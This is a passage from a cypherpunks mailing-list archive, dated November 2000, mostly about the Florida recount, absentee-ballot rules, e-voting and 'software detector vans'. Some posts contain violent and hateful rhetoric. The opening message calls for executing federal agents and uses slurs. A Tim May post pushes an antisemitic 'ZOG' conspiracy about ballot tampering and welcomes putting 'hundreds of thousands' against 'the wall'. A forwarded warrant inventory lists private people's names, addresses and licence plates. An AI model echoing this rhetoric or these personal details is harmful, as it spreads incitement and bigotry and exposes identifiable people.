evil right-wing thoughts? > Or is this part of a campaign to demonstrate the danger inherent in the > popular use of crypto by linking it to the dangerous thoughts of one man? > What ideas will be declared dangerous next, and what people will be used > to demonstrate that danger? This is most likely part and parcel of the same cointelpro that is harrassing Jim Bell. What they want to do is provoke Tim into making a rash statement, a "threat" of some sort, so they have "probable cause" to execute a warrant and/or arrest him on some spurious charge. Typical feeb scum mentality these days. Tim's right -- there are a great many traitors in this country today who need executing. Anyone who has taken part in any cointelpro or agent provocateur activities will be at the top of the list, along with the Waco and Ruby Ridge murderers, all BATFags and DEA filth. From George at Orwellian.Org Mon Nov 13 05:33:33 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 08:33:33 -0500 (EST) Subject: CDR: Patricia.Horotan@gs.com Message-ID: <200011131333.IAA18587@www4.aa.psiweb.com> Check out the one-time animated bunny at: http://www.energizer.com ---guy From George at Orwellian.Org Mon Nov 13 05:52:19 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 08:52:19 -0500 (EST) Subject: CDR: Re: Beware the Rants of May Message-ID: <200011131352.IAA10300@www3.aa.psiweb.com> # ---guy Oops, now Tim will kill me. ---- Geigertronics wrote: # Pot, Kettle, Black Awwww, I'm picking on bully TimMay. Cry me a river. From George at Orwellian.Org Mon Nov 13 06:13:10 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 09:13:10 -0500 (EST) Subject: CDR: Republicans squash the FL manual recount! Message-ID: <200011131413.JAA09855@www0.aa.psiweb.com> The Florida Secretary of State has just ruled that any recounts not completed by [sometime] tomorrow won't be certified. The Democrats should not give them any numbers for Palm Beach County while the recanvas continues. And of course, now the lawsuits fly. From schear at lvcm.com Mon Nov 13 09:59:02 2000 From: schear at lvcm.com (Steve Schear) Date: Mon, 13 Nov 2000 09:59:02 -0800 Subject: CDR: Re: Close Elections and Causality In-Reply-To: <200011130523.AAA28534@www7.aa.psiweb.com> Message-ID: <4.3.2.7.0.20001113095842.05a53620@pop3.lvcm.com> At 12:23 AM 11/13/00 -0500, George at orwellian.org wrote: >Steve Schear ># These spoiled ballots don't imply that the voters who ># created them didn't ask for and receive new ballots. > >Those 30,000 (not 19,000) were from the ballot box, not >replaced ballots from on-site. That's not what I heard. steve From landon at best.com Mon Nov 13 10:31:00 2000 From: landon at best.com (landon dyer) Date: Mon, 13 Nov 2000 10:31:00 -0800 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: <200011131825.NAA15466@bual.research.att.com> Message-ID: <5.0.0.25.2.20001113102845.02179cf0@shell9.ba.best.com> At 01:25 PM 11/13/2000 -0500, you wrote: >This reminds me of the Monty Python skit with the Cat Detector Van... >"never seen so many bleedin' areals" no sing-songing about "eric the half-a-key", please... :-) -landon (re-lurking) From tcmay at got.net Mon Nov 13 11:02:21 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 11:02:21 -0800 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: <3A0FD060.881CC08F@ccs.bbk.ac.uk> References: <3.0.5.32.20001110161336.00b0d100@idiom.com> <3A0FD060.881CC08F@ccs.bbk.ac.uk> Message-ID: At 11:28 AM +0000 11/13/00, Ken Brown wrote: >Tim May wrote: > >> The solution has been obvious for a long time: absentee ballots must >> be received by the close of business on the polling day. Those who >> know they are going to be out of their voting area must mail their >> ballots in time to arrive. This eliminates this particular hazard. > >When I was listening to the news last Tuesday it took me a while to >realise that this *wasn;'t* the case. It seems so sort of obvious you'd >think it would have been adopted years ago. ... Yeah, it's bizarre. Absentee ballots are still arriving from overseas locations (and other states, though the USPS is pretty efficient these days and most should have arrived by last Thursday if they were actually postmarked by Tuesday). Some of the ballots from Qatar, Zimbabwe, Mongolia, Israel, and all of the other various places are presumably still sitting in post offices in Dushambe, Timbuktu, and Haifa. And some are on transport planes. And some are now in the post offices in Florida. Hell, Yahood Barak may have even brought in some of the Florida absentee ballots on ZOG Force One. Any doubts about what Shin Bet and Mossad managed to do with those absentee ballots once the closeness of the election was established while the absentee ballots were still on ZOG soil? I was amused to see the "high security" on the absentee ballots received by the election offices: a wooden box with a _Masterlock_ key lock, one of those $3.99-for-two locks one sees at Home Depot or the local hardware store. Forget "National Technical Means" to get through these locks...any two-bit thief could pick one of these locks and either alter the ballots or insert new ones. (Spoiling the ballots of one's opponent would be a lot easier.) The election may hinge (see my post on "Causality and Close Elections") on these uncounted absentee ballots sitting in Florida. Of course, it is now looking very likely that the "hand count in heavily Democrat-trending counties" will prevail. As all numerate folks have noted, resampling of selected counties is inherently biased. The Democrats _will_ pick up a few thousand more votes over what Bush picks up, just as the Republicans might have picked up a few thousand more votes over the Democrats had a Republican-leaning county like Duval County been resampled manually. Which is just as well. I'd rather see Al Gore and his New York tag team of Alan Dershowitz and Lawrence Tribe steal this election. Then we can get on with the business of "scorced earth" and sending hundreds of thousands of these criminals to the wall. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Mon Nov 13 11:08:01 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 11:08:01 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <3A10360A.6C87DE38@ccs.bbk.ac.uk> References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> Message-ID: At 6:42 PM +0000 11/13/00, Ken Brown wrote: >Augusto Jun Devegili replied to Tim May: > > >> > It won't happen in our lifetimes. It may happen in European nations, >> > but only because the average citizen does what he is told to do more >> > so than American paranoids and individualists will do. >> >> [Augusto] I would like to see this happening after the scientific/academic >> community approves a secure protocol and its implementation architecture. >> And I also understand that it will be quite hard to convince the general >> voter of the security of e-voting. > >I think I have to agree with Tim here. That blind-sign-sign-blind-vote >protocol might be wonderful but is not going to be accepted by the >average voter. Or even the brainiest. I saw a good piece on one of the networks about why "voting at your home PC" is not a good idea for _other_ reasons. To wit, families kibitzing about the vote. Or watching while the wife or husband votes properly. Or even people literally buying votes and then watching while their bought votes are voted the right way. None of these things is even fractionally as possible with the "secure voting booth" protocol we have today, where only one person is in a booth at any given time. The wife whose husband has said he'll beat the shit out of her if she doesn't vote for Bush can vote for whomever she wishes and know that no one will know how she voted. A "vote at home" protocol is vulnerable to all sorts of mischief that has nothing to do with hackers intercepting the vote, blah blah. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From ssyreeni at cc.helsinki.fi Mon Nov 13 01:28:30 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Mon, 13 Nov 2000 11:28:30 +0200 (EET) Subject: CDR: Re: Close Elections and Causality In-Reply-To: Message-ID: On Sun, 12 Nov 2000, Kevin Elliott wrote: >This is why people who don't know statistics should not be allowed to >think... By no means is that number, by itself, of any significance >whatsoever. How many got canceled last election- one number I heard >said 14,000. If so then 19,000 is about what one would expect >considering increased voter turnout and normal statistical >fluctuations. Quite. The problem here is what happens when the mean expected error of the estimate given by the ballot starts to get significant with respect to the mean popularity difference being measured. There is always some error, but it is not often that the actual difference in votes given to the main participants shrinks too low for the error to have any relevance. Simply put, we are faced with the scourge of binary decision problems based on noisy data. Sampo Syreeni , aka decoy, student/math/Helsinki university From k.brown at ccs.bbk.ac.uk Mon Nov 13 03:28:32 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 13 Nov 2000 11:28:32 +0000 Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine References: <3.0.5.32.20001110161336.00b0d100@idiom.com> Message-ID: <3A0FD060.881CC08F@ccs.bbk.ac.uk> Tim May wrote: > The solution has been obvious for a long time: absentee ballots must > be received by the close of business on the polling day. Those who > know they are going to be out of their voting area must mail their > ballots in time to arrive. This eliminates this particular hazard. When I was listening to the news last Tuesday it took me a while to realise that this *wasn;'t* the case. It seems so sort of obvious you'd think it would have been adopted years ago. Back in the 1940s and 50s bookies in England used to take bets on photofinishes. One man made himself a fortune, by always standing exactly on the finish line waiting for a photo-finishs in which the horse farthest from him had crossed the line first. The bookies stopped taking his bets. In UK (for what its worth) postal votes have to be in by a fixed date that is up to a week before the election day. They are opened in the presence of the candidate (or their agent), counted, then the returning officer and the agents agree on the total, fill in a form, sign it, and the ballot papers and the forms are sealed (hey, a protocol! Almost on-topic!) Spoiled ballots are also handled by the candidates agents on the night of the election. They stand across the tables from where the votes are being counted (hand counting of course, none of your new-fangled stuff) and are allowed to look but not touch. Any dubious papers are discussed. Usually you manage to agree on how to count them. Ken From bill.stewart at pobox.com Mon Nov 13 12:08:22 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 13 Nov 2000 12:08:22 -0800 Subject: CDR: Re: jabbascript ads on algebra.com In-Reply-To: Message-ID: <3.0.5.32.20001113120822.00923b20@idiom.com> They worked fine when I looked at it, though Jabbascript is unreliable enough on Netscape that I may have gotten lucky (e.g. looked at it when the memory leaks hadn't leaked much, caches weren't too full, rest of the memory on my pc wasn't swapping itself to death, etc.) It's unsafe for the users to enable it, because they might encounter web pages with malicious or broken scripts, but when it's well-written it really does work ok, at least most of the time. At 12:20 AM 11/13/00 +0100, Anonymous Remailer wrote: >Actually there's a much more mundane reason for people not viewing the >ads on algebra.com. The javascipt code is broken and doesn't display >anything in netscape. So if you view the page with netscape, the ads >don't show... > >Oh well, using javascript is a stupid idea anyway. I think you got >what you deserved on that one... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From Gerry_Inman at mony.com Mon Nov 13 09:33:52 2000 From: Gerry_Inman at mony.com (Gerry_Inman at mony.com) Date: Mon, 13 Nov 2000 12:33:52 -0500 Subject: CDR: Stop sending me these emails Message-ID: <85256996.0060A426.00@snt-smtp-01.soc.mony.com> Can anyone tell how I can stop receiving emails from your site? Gerry Inman From singleserving at mp3.com Mon Nov 13 12:35:39 2000 From: singleserving at mp3.com (singleserving at mp3.com) Date: Mon, 13 Nov 2000 12:35:39 -0800 Subject: CDR: New FISHER CD/Win an iMac Message-ID: <20001113203539.1515.qmail@cannon14.mp3.com> An embedded and charset-unspecified text was scrubbed... Name: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 5260 bytes Desc: not available URL: From ji at research.att.com Mon Nov 13 10:25:26 2000 From: ji at research.att.com (ji at research.att.com) Date: Mon, 13 Nov 2000 13:25:26 -0500 (EST) Subject: CDR: Re: BSA deploys imaginary pirate software detector vans Message-ID: <200011131825.NAA15466@bual.research.att.com> This reminds me of the Monty Python skit with the Cat Detector Van... "never seen so many bleedin' areals" From tib at tigerknight.org Mon Nov 13 14:32:52 2000 From: tib at tigerknight.org (Tib) Date: Mon, 13 Nov 2000 14:32:52 -0800 (PST) Subject: CDR: Re: BSA deploys imaginary pirate software detector vans In-Reply-To: <548.973848657@cs.ucl.ac.uk> Message-ID: On Fri, 10 Nov 2000, Ian BROWN wrote: > >Wasn't there some articles some time ago about Microsoft doing research into > >Tempest/Van Eck (sp) radiation ? It was speculated at the time that they > >were going include software to "broadcast" their serial numbers so that > >illegal copies could be detected. > > This was a suggestion by Markus Kuhn and Ross Anderson (at Cambridge > University). The paper is at http://www.cl.cam.ac.uk/~mgk25/ih98-tempest.pdf > > "Our suggestion is that software packages include in their screen layout a few > lines with a signal that encodes the license serial number plus a random value > . . . a "software detector van" can be used to patrol business districts and > other areas where software piracy is suspected. If the van receives twenty > signals from the same copy of a software from a company that has only licensed > five copies, then probable cause for a search warrant has been established." > p.13 Hope I'm not being totally naive about the capability of computer hardware, but I sure don't recall my PC (or any that I have ever had or can think of seeing) having short range broadcasting capabilities. How would this be theorheticly possible (despite the utter nonsense that the rumor must be) to accomplish, if at all? Tib From tcmay at got.net Mon Nov 13 14:41:14 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 14:41:14 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: <20001113175319.A24189@cluebot.com> References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: At 5:53 PM -0500 11/13/00, Declan McCullagh wrote: >On Mon, Nov 13, 2000 at 11:08:01AM -0800, Tim May wrote: >> A "vote at home" protocol is vulnerable to all sorts of mischief that >> has nothing to do with hackers intercepting the vote, blah blah. > >Righto. Absentee ballots require a witness, usually an officer (if >you're in the military) or a notary-type, to reduct in par tthe >intimidation problem. California absentee ballots require no such thing. My parents, as I said, voted absentee California for many years. They simply filled out their absentee ballots and dropped them in the mailbox. Maybe the rules were later changed. From 1961 to 1977, this is the way it was. I just checked. http://www.ss.ca.gov/elections/elections_m.htm "To vote an absentee ballot, a voter needs to submit a completed application or letter to the county elections official between 29 days and 7 days before the election. The application or letter must contain the voter's name as registered, the registered voter address, the address to which the absentee ballot should be sent if different than the registered voter address, the name and date of the election for which the applicant wants the mail-in ballot, and the voter's signature. Once the application is processed by the county elections official, the proper ballot type/style will be sent to the voter. You must then cast your ballot and insert it in the envelope provided for this purpose, making sure you complete all required information on the envelope. Although you sign the outer envelope in order to establish your eligibility to vote, your absentee ballot will be separated from the envelope prior to counting the ballots so that there is no way to violate your confidential vote. You may mail back your voted absentee ballot, return it in person to the polls or county elections office on election day, or, under certain conditions, authorize a legally-allowable third party (relative)to return the ballot in your behalf -- but regardless of how the ballot is returned, it MUST be received by the county elections office by the time polls close (8 p.m.) on election day. Late-arriving absentee ballots are not counted." No mention of getting a witness, etc. I'll leave it for others to check on Florida, Idaho, etc. versions. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Mon Nov 13 14:57:11 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 14:57:11 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: At 2:41 PM -0800 11/13/00, Tim May wrote: > >No mention of getting a witness, etc. > >I'll leave it for others to check on Florida, Idaho, etc. versions. > I just checked the Florida site, http://www.absenteeballot.net/Florida.htm, and found no mention whatsoever of requirements that someone witness the process, etc. However, I _did_ find this interesting language: "Marked ballots must be mailed or delivered in person reaching the supervisor of elections' office not later than 7 p.m. on the day of the election." So, what's with this business about the absentee ballots coming in until Friday, November 17th? --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Mon Nov 13 12:01:47 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 15:01:47 -0500 (EST) Subject: CDR: Here comes Jesse Jackson Message-ID: <200011132001.PAA14550@www8.aa.psiweb.com> FoxNewsChannel reports Jesse Jackson is about to fire up a large crowd. Cross your fingers, Tim. From tcmay at got.net Mon Nov 13 15:07:40 2000 From: tcmay at got.net (Tim May) Date: Mon, 13 Nov 2000 15:07:40 -0800 Subject: CDR: Re: A secure voting protocol In-Reply-To: References: <004201c04b6f$9c517110$0442a296@labsec.inf.ufsc.br> <3A10360A.6C87DE38@ccs.bbk.ac.uk> <20001113175319.A24189@cluebot.com> Message-ID: I did some more digging on various Florida sites which discuss absentee ballots. It looks like Florida makes a clear distinction between what I'll call "ordinary absentee ballots" and what I'll call "military absentee ballots." Ordinary absentee ballots--students, tourists in Israel or France, bluehaired yentas living in Tel Aviv, etc.--must have their ballots returned by 7 pm on the day of the election. _Military_ absentee ballots get the "postmarked by election day, received within 10 days" treatment. This has not been widely reported, and contradicts the many press interviews with residents of foreign countries who are presumed to possibly be the hinge votes. At least I have not seen such a distinction made, and I've been following this thing for probably 14 hours a day for the past five or six days. Here is language from Bay County's Web site: "Absentee ballots must be returned to the Supervisor of Elections by the voter, either in person or by mail. If the voter personally delivers the ballot, he or she must present his or her own picture identification before the ballot will be accepted. If the voter is unable to mail or personally deliver the ballot, the voter may designate in writing a person to return the ballot. The designated person may NOT return more than two (2) absentee ballots per election, other than his or her own ballot, except that additional ballots may be returned for members of the designee's immediate family (as defined in the section on requesting absentee ballots). The designee must provide a written authorization from the voter as well as present his or her own picture identification. Voted absentee ballots must be received no later than 7 p.m. election day at the office of the Supervisor of Elections. A VOTED BALLOT CANNOT BE ACCEPTED AT A POLLING PLACE. MILITARY INFORMATION Military personnel may apply for voter registration or request absentee ballots with a Federal Post Card Application (FPCA) which may be obtained from the unit voting officer. If the FPCA is not available, phone or send a written request to the Supervisor of Elections Office, 300 E. 4th Street, Room 112, Panama City, FL 32401-3093. Spouses and dependents are considered to be of the same category of absentee voters as military members and generally should follow the same rules. U.S. Embassies and Consulates can assist in completing, witnessing, notarizing and mailing FPCA forms, absentee ballots and other election materials. Federal portions of general election and presidential preference primary ballots voted by persons outside the U.S. are counted if postmarked no later than election day and received within 10 days of the election. Additional military election information is available from: -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From George at Orwellian.Org Mon Nov 13 12:15:26 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Mon, 13 Nov 2000 15:15:26 -0500 (EST) Subject: CDR: Here come da judge [Kroll] Devil in a Blue Dress Blue Dress Message-ID: <200011132015.PAA28005@www5.aa.psiweb.com> The hearing that was scheduled for tomorrow Tuesday for Democratic Judge K. Kroll for hearing an individuals lawsuit to enable the Palm Beach County recount to count has been moved to today at 4PM, with all the individual lawsuits consolidated and both presidential candidates' lawyers at the hearing. There will be one media pool camera. The identity of President Chad hangs in the balance. From apoio at giganetstore.com Mon Nov 13 07:20:50 2000 From: apoio at giganetstore.com (apoio at giganetstore.com) Date: Mon, 13 Nov 2000 15:20:50 -0000 Subject: CDR: =?iso-8859-1?Q?J=E1_reparou_nas_diferen=E7as=3F?= Message-ID: <008fc5020150db0WWWNETSTORE@wwwnetstore> Já reparou nas diferenças ? Entre em www.giganetstore.com e veja o que mudámos só a pensar em si ! Bem Vindo(a) à giganetstore.com, onde pode comprar tudo sem sair de casa! E sugerimos que comece por visitar o Canal Hardware & Comunicações onde irá encontrar desde já muitos mais produtos, preços irresistíveis e novas funcionalidades: * Na Categoria Informática - Hardware existe uma nova Organização: Consumíveis; Acessórios; Componentes; Computadores; Portáteis; Monitores; Periféricos; Impressoras; Scanners; CD-Writers; Calculadoras e Agendas; Modems e RDIS; Redes e Servidores * E para que não lhe falte nada, pode construir online um Computador à sua medida. Contrua o seu próprio PC! * Precisa de um Tinteiro, Toner ou Papel para a sua impressora ? Temos todos os Consumíveis que precisar, qualquer que seja a sua impressora. Para os encontrar de uma forma ainda mais fácil, agora basta digitar no campo de pesquisa o modelo da sua impressora (seja ela da marca HP, Epson, Lexmark ou Canon) e ser-lhe-ão apresentados todos os consumíveis necessários. Aqui ficam algumas das nossas sugestões: PC 2000 PIII 733 249.900$00 City Desk Athlon 5500 265.900$00 Presario 7482+MV520 245.900$00 Presario 12 XL-222 357.900$00 Palm M100 47.900$00 Apple Studio Display 15 269.900$00 Desktop Theatre 2500 47.990$00 Freedraw 11.990$00 Promoção válida até 19/11/00 Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 6791 bytes Desc: not available URL: From acthen at home.com Mon Nov 13 12:51:58 2000 From: acthen at home.com (Albert Hui) Date: Mon, 13 Nov 2000 15:51:58 -0500 Subject: No subject Message-ID: <5.0.0.25.2.20001113155155.009e9040@mail> From k.brown at ccs.bbk.ac.uk Mon Nov 13 08:58:07 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Mon, 13 Nov 2000 16:58:07 +0000 Subject: CDR: Re: Close Elections and Causality References: <3A0BEC3F.2568B441@ccs.bbk.ac.uk> Message-ID: <3A101D9F.83083E49@ccs.bbk.ac.uk> Kevin Elliott wrote: > > At 12:38 +0000 11/10/00, Ken Brown wrote: > >But are there no rules in Florida allowing for a re-vote? If there > >really are 19,000 spoiled papers from once county, that sounds "massive" > >to me. It may not be fraud - the fools who designed the papers probably > >thought they were doing right - but it has the same effect. > This is why people who don't know statistics should not be allowed to > think... By no means is that number, by itself, of any significance > whatsoever. It is if I have a vague idea how big a county is. If a state the size of Florida has 60-ish counties I would be surprised if many of them had populations much over about million or less than 100,000 if the counties were reasonably randomly populated (if there has been an attempt to equalise the populations then even more so) Also, from years of political hackery & hanging around in elections, I know that over here spoiled votes are rarely as much as 1% of the total. So we have 3 possibilities - Palm Beach County is unusually large, Floridan voters are stupider than voters in London, or something went unusually wrong in that county. Assuming the county is the one described at http://www.co.palm-beach.fl.us then it is quite large. You'd have to compare it to other counties to see if it was worse. > How many got canceled last election- one number I heard > said 14,000. If so then 19,000 is about what one would expect > considering increased voter turnout and normal statistical > fluctuations. Still could be a sign that something is badly wrong. Just because the last election was a shambles there as well doesn't meant that this one should have been. If there is a problem it ought to be fixed. > More importantly, the ballot was approved by both > parties before the election took place. If they didn't bitch then > they don't have the right to bitch now. Just goes to show that officials of more than one political party can be stupid (does that surprise you?) The citizens of Palm Beach (or wherever) have, under you constitution & the laws of Florida a right to vote in fair elections. (Over here in Britain we always sort of assume that US elections are corrupt anyway, especially in the South :-) Obviously, the only reason this is being talked about at all by anyone more than thirty miles from Lake Okechobee is because of the close-run Presidential election. That is what brought the (possibly) messy state of the election in Florida to light. Some Floridans wanted recounts, or possibly even recounts. The chances are they wouldn't have bothered if it hadn't been for the presidential problem. Are you saying that they mustn't use their rights under local, Floridan, law because it delays the appointment of the electoral college and further confuses the presidential race? That local law and due process be suspended for the convenience of the Federal system? Ken From ravage at ssz.com Mon Nov 13 15:13:08 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 13 Nov 2000 17:13:08 -0600 (CST) Subject: CDR: Re: Close Elections and Causality In-Reply-To: <3A101D9F.83083E49@ccs.bbk.ac.uk> Message-ID: On Mon, 13 Nov 2000, Ken Brown wrote: > It is if I have a vague idea how big a county is. There is no standard size. Usualy county lines are drawn for historical reasons. Though at time of statehood this does get reviewed and modified. > If a state the size of Florida has 60-ish counties I would be surprised if > many of them had populations much over about million or less than 100,000 > if the counties were reasonably randomly populated (if there has been > an attempt to equalise the populations then even more so) Texas has over 200. Some have several M (I live in Travis and it has 1M, Harris Country [Houston] probably has close to 5M) a couple in W. Tx. have only a few thousand. I'd be surprised if many (any?) states have any sort of program to get people to perferentialy live in certain counties. I suspect the other counties might get upset. I suspect Florida is quite similar. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at ssz.com Mon Nov 13 15:15:50 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 13 Nov 2000 17:15:50 -0600 (CST) Subject: CDR: [Fwd: First Quarterly Cryptuk Meeting on 29Nov2000] (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Fri, 10 Nov 2000 11:05:39 +0000 From: Ben Laurie To: UK Crypto , Cryptography , OpenSSL Dev Subject: [Fwd: First Quarterly Cryptuk Meeting on 29Nov2000] -- http://www.apache-ssl.org/ben.html "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -------------- next part -------------- An embedded message was scrubbed... From: unknown sender Subject: no subject Date: no date Size: 38 URL: From ravage at ssz.com Mon Nov 13 15:19:18 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 13 Nov 2000 17:19:18 -0600 (CST) Subject: CDR: Re: what hell In-Reply-To: Message-ID: Hi Ernesto, You are subscribed (through some mechanism I suspect wasn't intentional on your part) to a mailing list about cryptography, economics, and civil liberties. More info at: http://einstein.ssz.com/cdr/index.html ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- On Mon, 13 Nov 2000, ernesto leonardo soberanes rendon wrote: > AM IN THIS PAGE AND I DONT GET IT WHAT ITS ALL ABOUT SO PLEASE TELL ME WHAT > CAND I DO WITH THIS INFORMATION I CAN LEARN FROM THIS OR WHAT I CAN TALK > WITH SOMEBODY AM CONFUSE I WAS READING A FEW EMAILS FROM PEOPLE I NEVER MEET > BEFORE SO THIS IS LEGAL I APRECIATE YOU CAN ANSWER THIS MAIL THANKS. > > ERNESTO. > _________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. > > Share information about yourself, create your own public profile at > http://profiles.msn.com. > From ravage at ssz.com Mon Nov 13 15:21:00 2000 From: ravage at ssz.com (Jim Choate) Date: Mon, 13 Nov 2000 17:21:00 -0600 (CST) Subject: CDR: Bell's warrant return inventory In-Reply-To: Message-ID: Geesh, if Bell is so damn bright how come he hasn't figured out how to encrypt this shit... God, he wants to be busted. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- On Mon, 13 Nov 2000, Nomen Nescio wrote: > Declan wrote: > > [snip] > > > I've included links to the original documents in this article: > > http://www.cluebot.com/article.pl?sid=00/11/11/101218&mode=nested > > from the 11/06/2000 Warrant Return Inventory > (http://www.politechbot.com/docs/bell0004.jpg): > > 1 White Paper with address of 701 5th Seattle, 206-346-1806 > 2 Info Space People Search results: SHERMAN, BRENT 4 pages > 3 Internet Map Search results: 392 Alameda Ave, Astoria Oregon > 4 Email Message, re: August 18/19 > 5 Copies US Treasury Check, Copies Edison Intern'l common stock dividend > checks > 6 Clark County Receipt "330197"; Clark Co. Receipt $16.00; Note w/ > license number 616-AQQ > 7 Not seized > 8 Handwritten document with vehicle license plates > 9 Paper documents relating to JEFF/JEFFREY GORDON > 10 Six Compact Disc ROM's relating to Oregon Dept of Motor Vehicles > Database > 11 Three phone disc CD Rom's - Digital Directory Assistance, INC > 12 Floppy dis; Power transformer attached to computer > 13 Email from Robert East to Jim Bell > 14 Printed documents related to Ryan Lund > 15 TIGTA fax-dated 7/31/00 > 16 One envelope to James Bell re: Lund; Doc's re: LUND; color print of map > re: 1116 NE 58th, Vancouver > 17 Computer floppy Disks - six 3.5 inch > 18 One floppy disk, "ATF Thug Hunt" handwritten on label > 19 One spiral notebook of handwritten notes related to JEFF GORDON > 20 Three pads of paper w/ GPS readings; w/King, Sundown, Jose Martinez, > License Plates; w/Riten King Sundown > 21 Various documents, computer printouts re: Lund, Fed Spy, DMV records > 22 Twelve stapled pages of DMV printouts re: Bend, OR, > 23 Five stapled pages of DMV printouts, concerning CIA mapquest maps > 24 US District Court filings by RYAN LUND, research on CHAD PETERSON, docs > on W. Martin > 25 One printed sheet each, re: LISA STEVENSON, JEFFERY GORDON > 26 Folder marked "Spy Research" > 27 One blue three ring binder containing documents re: SABAN and SUNDOWN > 28 Identification and criminal history section "WSP Watch re: Lund, > thomas, Oct 27, 1971, 6/23/00 > 29 Mapquest print for address "8 Towhee Ln, Bend, OR, 2 pages > 30 CPU: Gateway, ATX Tower, Serial 0018625569, manf 5/10/00 > 31 CPU: generic, no serial number > 32 CPU: generic, no serial number > 33 Various photographs, voter registration records, Ryan Lund Documents, > Greg Daly, DMV Info > 34 Documents re: Ryan Lund, one notebook > 35 Documents re: real propert for Jeffery Gordon, KM Cummings, DMV Info > 36 Documents re: Ryan Lund, DMV Records, Email from Mike to Lou Bell > addressed to Jim; Name/Address search > 37 Notebook on KOCH > 38 Mapquest documents, fax machine memory printout > 39 One printed metroscan property profile re: SABAN, 10 pages, 5 > photocopies of documents re: SABAN > From mdpopescu at geocities.com Mon Nov 13 14:44:51 2000 From: mdpopescu at geocities.com (Marcel Popescu) Date: Mon, 13 Nov 2000 17:44:51 -0500 Subject: CDR: Re: BSA deploys imaginary pirate software detector vans References: Message-ID: <007401c04dc3$2640db40$1d01a8c0@microbilt.com> From phaedrus at sdf.lonestar.org Mon Nov 13 15:49:45 2000 From: phaedrus at sdf.lonestar.org 